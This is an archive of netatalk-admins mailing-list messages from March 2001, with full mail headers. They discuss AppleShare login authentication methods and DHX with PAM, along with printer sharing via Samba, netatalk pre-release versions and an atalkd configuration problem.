	for <netatalk-admins@umich.edu>; Mon, 12 Mar 2001 14:56:17 -0500 (EST)
Received: from scv1.apple.com (A17-128-100-139.apple.com [17.128.100.139])
	by mail-out2.apple.com (8.9.3/8.9.3) with ESMTP id LAA12016;
	Mon, 12 Mar 2001 11:54:44 -0800 (PST)
Received: from kingshammer (kingshammer.apple.com [17.221.40.220])
	by scv1.apple.com (8.9.3/8.9.3) with ESMTP id LAA06125;
	Mon, 12 Mar 2001 11:53:55 -0800 (PST)
Message-Id: <200103121953.LAA06125@scv1.apple.com>
Date: Mon, 12 Mar 2001 11:54:19 -0800
From: Leland Wallace <randall@apple.com>
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Subject: Re: Encrypted logins, configuration, The Chooser, etc.
Cc: Leland Wallace <randall@apple.com>, netatalk-admins@umich.edu
To: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
X-Mailer: Apple Mail (2.387)
In-Reply-To: <B6CFCDCD.12AD3%bucky@interaccess.com>
Mime-Version: 1.0 (Apple Message framework v387)
Content-Transfer-Encoding: 7bit


On Saturday, March 10, 2001, at 10:25 AM, Bruce A. Burdick, Jr. wrote:
>
> From: Bruce A. Burdick, Jr. <bucky@interaccess.com>
> Date: Tue, 06 Feb 2001 02:47:05 -0600
>
> I've perused the archives, but have mostly seen quick jots and morsels, 
> all
> assuming quite a bit of pre-existing context. Let's assemble the full 
> story
> on encrypted logins and netatalk. I'd like to see a robust how-to that
> leaves nothing unsaid. How about you?
>
<SNIP>

> What are the various methods for encrypted logins supported by The 
> Chooser?
> In which versions?
Authentication methods supported by the AppleShare Client:
No User Authent  --  aka guest

Cleartext passwd  -- the lowest common denominator (just as bad as it 
sounds)

Randnum Exchange -- only 8-byte random numbers are sent over the wire.
   vulnerable to offline dictionary attack, only the client is 
authenticated. Requires
   a cleartext password on the server. Limited to 8 byte passwords. Uses 
DES.

2-Way Randnum Exchange -- same as above, but the server is authenticated 
as well,
   making it strong against Man in the Middle attacks. This has been the 
mainstay of the
   Apple AFP services.

DHCast128 -- aka DHX, a 128 bit key is generated by Diffie-Hellman key 
agreement,
   a 64 byte password is sent encrypted by the above key using CAST-128.  
Weak
   against Man in the Middle attacks. This one is gaining popularity and 
is supported in
   Mac OS X.

Third Party UAMs that I know of:
MicrosoftUAM
Netware UAM
There are at least 2 kerberos UAMs kicking around.

Clients up to 3.8.3, have the first 4, 3.8.3 shipped with DHX as a UAM 
plug in. 3.8.4 and later
have DHX built in.

UAMs Id like to write if I had the time:
B-SPEKE - a robust alg, provably secure, does not use cleartext anywhere 
except on the client
(as input).  <http://world.std.com/~dpj>

SRP - very similar to B-SPEKE. <http://www-cs-
students.stanford.edu/~tjw/srp/>

RADIUS - don't know very much abt this one, but it looks like it would 
be useful.

<SNIP>
>
> Do any end-to-end secure solutions exist? (i.e. no clear text passwords
> stored or transmitted) What are they? How (in detail) are they 
> installed and
> configured?
By your definition DHX seems to fit the bill. I'd look at B-SPEKE and 
SRP as well.

<SNIP>

> Lastly, to you fellas who've picked up the netatalk ball and put it back
> into development: thank you!
>
ditto.

I'm the lead engineer on the AppleShare Client at Apple.

Hope this helps
Leland

+-----------------------------------------------------------------------------------
Leland Wallace           Working in            AppleShare Engineering
randall@apple.com    but not speaking for      Apple Computer Inc.
http://www2.inow.com/~randall
+-----------------------------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Mon Mar 12 16:21:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA02178
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Mar 2001 16:21:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA13489
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Mar 2001 16:21:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA13465
	for netatalk.administrators-members@umich.edu; Mon, 12 Mar 2001 16:21:58 -0500 (EST)
Received: from mail.utexas.edu (wb3-a.mail.utexas.edu [128.83.126.138])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA13339
	for <netatalk-admins@umich.edu>; Mon, 12 Mar 2001 16:21:57 -0500 (EST)
Received: (qmail 27147 invoked by uid 0); 12 Mar 2001 21:21:54 -0000
Received: from mir.ece.utexas.edu (HELO ?128.83.59.76?) (128.83.59.76)
  by umbs-smtp-3 with SMTP; 12 Mar 2001 21:21:54 -0000
Mime-Version: 1.0
Message-Id: <p05010400b6d2ee3f3be5@[128.83.59.76]>
Date: Mon, 12 Mar 2001 15:23:41 -0600
To: netatalk-admins@umich.edu
From: James Hammett <james@che.utexas.edu>
Subject: Having printers other than an Apple Laserwrtiter IINT
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I have a weird setup.  Our Netatalk box is also running Samba and 
shares the local appletalk printers to the 95/98/Me/NT boxes. 
Unfortunately the only way to get the PC's to print correctly is to 
tell them to use the "Apple Laserwriter IINT" print driver. (Even if 
its a brand new lexmark with all sorts of bells and whistles).  Is 
there any way to tell papd that these are a different type of printer?

thanks,
james

From netatalk.administrators-errors@umich.edu  Mon Mar 12 17:25:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA04353
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Mar 2001 17:25:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA02050
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Mar 2001 17:25:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA02020
	for netatalk.administrators-members@umich.edu; Mon, 12 Mar 2001 17:25:02 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA01969
	for <netatalk-admins@umich.edu>; Mon, 12 Mar 2001 17:25:00 -0500 (EST)
Received: (qmail 19109 invoked by uid 500); 12 Mar 2001 22:24:56 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 12 Mar 2001 22:24:56 -0000
Date: Mon, 12 Mar 2001 16:24:56 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Power Tools Version
Message-ID: <Pine.LNX.4.30.0103121619500.19105-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Funny thing...

I have not been able to get Pre4 or 5 working correctly on my RH7 box.
Weird stuff going on with file perms.

I was perusing the Red Hat Power Tools CD to be released with the next
version of Red Hat of of a mirror site and saw they were packaging a
version of Netatalk called 1.5pre2-4.

The darn thing works like a charm with respect to SUID, encrypted
passwords, and when I deleted a file that I copied from a Mac the resource
"copy" also went away.

Is this just a previous release of Beta 1.5 that worked rather well with
Red Hat?

Thoughts?


From netatalk.administrators-errors@umich.edu  Mon Mar 12 18:14:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA05591
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Mar 2001 18:14:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA01159
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Mar 2001 18:14:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA01136
	for netatalk.administrators-members@umich.edu; Mon, 12 Mar 2001 18:14:11 -0500 (EST)
Received: from klaatu.patho.gen.nz (210-54-213-233.ipnets.xtra.co.nz [210.54.213.233])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA00848
	for <netatalk-admins@umich.edu>; Mon, 12 Mar 2001 18:14:03 -0500 (EST)
Received: from valerie (mcns248.docsis161.singa.pore.net [202.156.161.248])
	by klaatu.patho.gen.nz (8.9.3/8.9.3) with SMTP id LAA16367;
	Tue, 13 Mar 2001 11:19:21 +1300
From: "Michael Clark" <michael@metaparadigm.com>
To: "Leland Wallace" <randall@apple.com>,
        "Bruce A. Burdick, Jr." <bucky@interaccess.com>
Cc: <netatalk-admins@umich.edu>
Subject: RE: Encrypted logins, configuration, The Chooser, etc.
Date: Tue, 13 Mar 2001 07:16:45 +0800
Message-ID: <HBEEKENFCJOPCENEDAGHGEKACBAA.michael@metaparadigm.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <200103121953.LAA06125@scv1.apple.com>
Importance: Normal

<SNIP>
> DHCast128 -- aka DHX, a 128 bit key is generated by Diffie-Hellman key
> agreement,
>    a 64 byte password is sent encrypted by the above key using CAST-128.
> Weak
>    against Man in the Middle attacks. This one is gaining popularity and
> is supported in
>    Mac OS X.

Okay, so i guess DHX has no need for clear text passwords stored on the server
(as is required with the 'network-secure' UAMs such as 2-way randnum) - can I
use PAM right?

I guess you can then use LDAP indirectly through PAM - anybody tried this?


Michael Clark.


From netatalk.administrators-errors@umich.edu  Mon Mar 12 18:26:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA06115
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Mar 2001 18:26:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA22154
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Mar 2001 18:26:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA22122
	for netatalk.administrators-members@umich.edu; Mon, 12 Mar 2001 18:26:27 -0500 (EST)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA21773
	for <netatalk-admins@umich.edu>; Mon, 12 Mar 2001 18:26:15 -0500 (EST)
Received: from apple.com (A17-129-100-225.apple.com [17.129.100.225])
	by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id PAA00570
	for <netatalk-admins@umich.edu>; Mon, 12 Mar 2001 15:26:00 -0800 (PST)
Received: from scv3.apple.com (scv3.apple.com) by apple.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T523fdcc127118164e1828@apple.com>;
 Mon, 12 Mar 2001 15:25:50 -0800
Received: from kingshammer (kingshammer.apple.com [17.221.40.220])
	by scv3.apple.com (8.9.3/8.9.3) with ESMTP id PAA03916;
	Mon, 12 Mar 2001 15:25:49 -0800 (PST)
Message-Id: <200103122325.PAA03916@scv3.apple.com>
Date: Mon, 12 Mar 2001 15:26:14 -0800
From: Leland Wallace <randall@apple.com>
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Subject: Re: Encrypted logins, configuration, The Chooser, etc.
Cc: Leland Wallace <randall@apple.com>,
        "Bruce A. Burdick, Jr." <bucky@interaccess.com>,
        netatalk-admins@umich.edu
To: Michael Clark <michael@metaparadigm.com>
X-Mailer: Apple Mail (2.387)
In-Reply-To: <HBEEKENFCJOPCENEDAGHGEKACBAA.michael@metaparadigm.com>
Mime-Version: 1.0 (Apple Message framework v387)
Content-Transfer-Encoding: 7bit


On Monday, March 12, 2001, at 03:16 PM, Michael Clark wrote:

> <SNIP>
>> DHCast128 -- aka DHX, a 128 bit key is generated by Diffie-Hellman key
>> agreement,
>>    a 64 byte password is sent encrypted by the above key using 
>> CAST-128.
>> Weak
>>    against Man in the Middle attacks. This one is gaining popularity 
>> and
>> is supported in
>>    Mac OS X.
>
> Okay, so i guess DHX has no need for clear text passwords stored on the 
> server
> (as is required with the 'network-secure' UAMs such as 2-way randnum) - 
> can I
> use PAM right?
AFAIK yes, and I think that's what the current DHX implementations 
allow. Once the
password is decrypted on the server side, you can do anything you want 
with it.


Hope this helps
Leland
+-----------------------------------------------------------------------------------
Leland Wallace           Working in            AppleShare Engineering
randall@apple.com    but not speaking for      Apple Computer Inc.
http://www2.inow.com/~randall
+-----------------------------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Mon Mar 12 19:14:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA07036
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Mar 2001 19:14:44 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA19417
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Mar 2001 19:14:44 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA19382
	for netatalk.administrators-members@umich.edu; Mon, 12 Mar 2001 19:14:43 -0500 (EST)
Received: from sandman.ucdavis.edu (sandman.ucdavis.edu [169.237.105.36])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA19338
	for <netatalk-admins@umich.edu>; Mon, 12 Mar 2001 19:14:42 -0500 (EST)
Received: from localhost (itlm019@localhost [127.0.0.1])
	by sandman.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f2D0ENU14917;
	Mon, 12 Mar 2001 16:14:23 -0800 (PST)
Date: Mon, 12 Mar 2001 16:14:23 -0800 (PST)
From: Marc Miller <itlm019@mailbox.ucdavis.edu>
X-Sender: itlm019@sandman.ucdavis.edu
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
cc: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Power Tools Version
In-Reply-To: <Pine.LNX.4.30.0103121619500.19105-100000@www.molbio.wisc.edu>
Message-ID: <Pine.GSO.4.21.0103121609240.10621-100000@sandman.ucdavis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

1.5pre2 (the -4 part must be indicative of the RPM version) is not release
quality.  I use something close to pre3 and have been fairly happy with
it, but pre5 is now out on
http://www.sourceforge.net/projects/netatalk.  I'd recommend either 3 or
5.  pre4 is pretty good but it seems to have introduced some new bugs.

On Mon, 12 Mar 2001, Daniel E. Lautenschleger wrote:

> Funny thing...
> 
> I have not been able to get Pre4 or 5 working correctly on my RH7 box.
> Weird stuff going on with file perms.
> 
> I was perusing the Red Hat Power Tools CD to be released with the next
> version of Red Hat of of a mirror site and saw they were packaging a
> version of Netatalk called 1.5pre2-4.
> 
> The darn thing works like a charm with respect to SUID, encrypted
> passwords, and when I deleted a file that I copied from a Mac the resource
> "copy" also went away.
> 
> Is this just a previous release of Beta 1.5 that worked rather well with
> Red Hat?
> 
> Thoughts?
> 

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/


From netatalk.administrators-errors@umich.edu  Mon Mar 12 19:41:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA07800
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Mar 2001 19:41:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA01247
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Mar 2001 19:41:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA01207
	for netatalk.administrators-members@umich.edu; Mon, 12 Mar 2001 19:41:25 -0500 (EST)
Received: from sandman.ucdavis.edu (sandman.ucdavis.edu [169.237.105.36])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA01153
	for <netatalk-admins@umich.edu>; Mon, 12 Mar 2001 19:41:24 -0500 (EST)
Received: from localhost (itlm019@localhost [127.0.0.1])
	by sandman.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f2D0f2U16740;
	Mon, 12 Mar 2001 16:41:02 -0800 (PST)
Date: Mon, 12 Mar 2001 16:41:02 -0800 (PST)
From: Marc Miller <itlm019@mailbox.ucdavis.edu>
X-Sender: itlm019@sandman.ucdavis.edu
To: Michael Clark <michael@metaparadigm.com>
cc: Leland Wallace <randall@apple.com>,
        "Bruce A. Burdick, Jr." <bucky@interaccess.com>,
        netatalk-admins@umich.edu
Subject: RE: Encrypted logins, configuration, The Chooser, etc.
In-Reply-To: <HBEEKENFCJOPCENEDAGHGEKACBAA.michael@metaparadigm.com>
Message-ID: <Pine.GSO.4.21.0103121639420.16699-100000@sandman.ucdavis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

A friend recently informed me that Linux Magazine also said to create the
netatalk passwords in a clear-text file for one of those other encryption
techniques.  Dangerous.

DHX does work with PAM; I'm doing that right now on my system.

On Tue, 13 Mar 2001, Michael Clark wrote:

> <SNIP>
> > DHCast128 -- aka DHX, a 128 bit key is generated by Diffie-Hellman key
> > agreement,
> >    a 64 byte password is sent encrypted by the above key using CAST-128.
> > Weak
> >    against Man in the Middle attacks. This one is gaining popularity and
> > is supported in
> >    Mac OS X.
> 
> Okay, so i guess DHX has no need for clear text passwords stored on the server
> (as is required with the 'network-secure' UAMs such as 2-way randnum) - can I
> use PAM right?
> 
> I guess you can then use LDAP indirectly through PAM - anybody tried this?
> 
> 
> Michael Clark.
> 

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/


From netatalk.administrators-errors@umich.edu  Mon Mar 12 21:39:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA11070
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Mar 2001 21:39:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA15960
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Mar 2001 21:39:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA15938
	for netatalk.administrators-members@umich.edu; Mon, 12 Mar 2001 21:39:28 -0500 (EST)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA15900
	for <netatalk-admins@umich.edu>; Mon, 12 Mar 2001 21:39:26 -0500 (EST)
Received: from ns01-n71-007.de.inter.net ([213.73.71.7] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14ceib-00061w-00
	for netatalk-admins@umich.edu; Tue, 13 Mar 2001 03:39:25 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id DAA15293
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 03:37:36 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Having printers other than an Apple Laserwrtiter IINT
Date: Tue, 13 Mar 2001 02:54:05 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <p05010400b6d2ee3f3be5@[128.83.59.76]>
In-Reply-To: <p05010400b6d2ee3f3be5@[128.83.59.76]>
MIME-Version: 1.0
Message-Id: <01031303373601.03569@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id VAA11070

On Mon, 12 Mar 2001, James Hammett wrote:
> I have a weird setup.  Our Netatalk box is also running Samba and 
> shares the local appletalk printers to the 95/98/Me/NT boxes. 
> Unfortunately the only way to get the PC's to print correctly is to 
> tell them to use the "Apple Laserwriter IINT" print driver. (Even if 
> its a brand new lexmark with all sorts of bells and whistles).  Is 
> there any way to tell papd that these are a different type of printer?
> 
> thanks,
> james

It looks to me that your problem is not netatalk and papd but Windoze (and probably apsfilter)
related.

I see it this way:

1. You spool your Doze printer files to a spool directory on your Samba server.
2. The data is then sent via pap (not papd!) to your AppleTalk Postscript printer.

I don't know what languages your Lexmark supports, but if you need to switch to another
emulation than Postscript to enable the features you desire, and your Doze-PCs have printer drivers
supporting this, you have use a "raw" device. I.e. a printer spooler which ships the data as-is to
your printer. Usually (for the standard spoolers) apsfilter will always try to convert any data to
Postscript.
To accomplish this you will probably need to install a recent version of apsfilter:

http://www.apsfilter.org/

The newest version is something like 6.0.x.
Older versions have problems when sending Non-Postscript data via pap.

Also make sure you have a new version of Ghostscript installed.
The latest of Aladdin Ghostscript is 6.50.

See:
http://www.cs.wisc.edu/~ghost/

BTW: since my over 10 years old NEC LC890 doesn't support Postscript Level 2, I use its laserjet
emulation and apsfilter, ghostscript, and pap to print my data.
Works great! :-)

HTH,
Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Mon Mar 12 21:39:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA11098
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Mar 2001 21:39:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA19586
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Mar 2001 21:39:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA19566
	for netatalk.administrators-members@umich.edu; Mon, 12 Mar 2001 21:39:31 -0500 (EST)
Received: from femail8.sdc1.sfba.home.com (femail8.sdc1.sfba.home.com [24.0.95.88])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA19537
	for <netatalk-admins@umich.edu>; Mon, 12 Mar 2001 21:39:29 -0500 (EST)
Received: from [24.3.174.225] by femail8.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010313023936.NYBR25644.femail8.sdc1.sfba.home.com@[24.3.174.225]>
          for <netatalk-admins@umich.edu>; Mon, 12 Mar 2001 18:39:36 -0800
Mime-Version: 1.0
X-Sender: liquidcd@mail.sumt1.nj.home.com (Unverified)
Message-Id: <a05010404b6d31cea1827@[24.3.174.225]>
In-Reply-To: <p05010400b6d2ee3f3be5@[128.83.59.76]>
References: <p05010400b6d2ee3f3be5@[128.83.59.76]>
Date: Mon, 12 Mar 2001 19:40:29 -0500
To: netatalk-admins@umich.edu
From: Liquid CD <liquidcd@home.com>
Subject: unsubscribe
Content-Type: text/plain; charset="us-ascii"



From netatalk.administrators-errors@umich.edu  Tue Mar 13 00:22:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA15087
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Mar 2001 00:22:57 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA25284
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Mar 2001 00:22:57 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA25250
	for netatalk.administrators-members@umich.edu; Tue, 13 Mar 2001 00:22:56 -0500 (EST)
Received: from VL-MS-MR002.sc1.videotron.ca (relais.videotron.ca [24.201.245.36])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA25154
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 00:22:54 -0500 (EST)
Received: from fnac.net ([24.201.28.100]) by
          VL-MS-MR002.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id GA4EY400.618; Tue, 13 Mar 2001 00:22:52 -0500 
Sender: marco@fnac.net
Message-ID: <3AADAD4B.5F94C350@fnac.net>
Date: Tue, 13 Mar 2001 00:17:00 -0500
From: marco a <marc.angles1@fnac.net>
X-Mailer: Mozilla 4.75 [fr] (X11; U; Linux 2.2.17-14 i586)
X-Accept-Language: fr, fr-CA, en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: [newbie problem]
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,
i just put eth1 in my atalkd.conf file, i have eth0 plugged on the
external network and eth1 on the internal one,
with 2 macs (g3-macOS9.1, g4-macOS9.1) and the linuxbox with
netatalk-1.4b2+asun2.1.3-22 installed
I start atalkd... 10'' and the name "laptop" appears in the chooser, i
can connect to the linux box, good !
20'' later when i relaunch the chooser for any reason, there is no
"laptop" in the chooser, and the led is flashing continuously,
I can connect with it just by the ip number
When I to stop here is the message:
[
root@laptop init.d]# ./atalk stop
Shutting down AppleTalk services: Can't unregister laptop:Workstation@*
Can't unregister laptop:netatalk@*
appletalk: Device or resource busy

the atalkd.conf was filled by herself :
eth1 -phase 2 -net 65280-65534 addr 65280.0

ifconfig gives :

[root@laptop init.d]# /sbin/ifconfig
eth0      Link encap:Ethernet  HWaddr 00:10:4B:DE:57:84
          inet addr:24.201.28.100  Bcast:24.201.28.255
Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:38833 errors:0 dropped:0 overruns:0 frame:0
          TX packets:48214 errors:0 dropped:0 overruns:0 carrier:0
          collisions:58

eth1      Link encap:Ethernet  HWaddr 00:E0:98:83:CF:F1
          inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0

          EtherTalk Phase 2 addr:65310/136
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:298361 errors:0 dropped:0 overruns:0 frame:673
          TX packets:282057 errors:0 dropped:0 overruns:0 carrier:0
          collisions:357

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          EtherTalk Phase 2 addr:0/0
          UP LOOPBACK RUNNING  MTU:3924  Metric:1
          RX packets:382 errors:0 dropped:0 overruns:0 frame:0
          TX packets:382 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0

could you diagnose something doctor ??
or point me on a new way to do ?
thanks


From netatalk.administrators-errors@umich.edu  Tue Mar 13 06:08:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA21736
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Mar 2001 06:08:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA01180
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Mar 2001 06:08:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA01155
	for netatalk.administrators-members@umich.edu; Tue, 13 Mar 2001 06:08:37 -0500 (EST)
Received: from mail.houston.rr.com ([24.93.35.226])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA01128
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 06:08:36 -0500 (EST)
Resent-Date: Tue, 13 Mar 2001 06:08:36 -0500 (EST)
Received: from mail pickup service by mail.houston.rr.com with Microsoft SMTPSVC;
	 Tue, 13 Mar 2001 04:58:12 -0600
Received: from murphy.debian.org ([216.234.231.6]) by mail.houston.rr.com  with Microsoft SMTPSVC(5.5.1877.537.53);
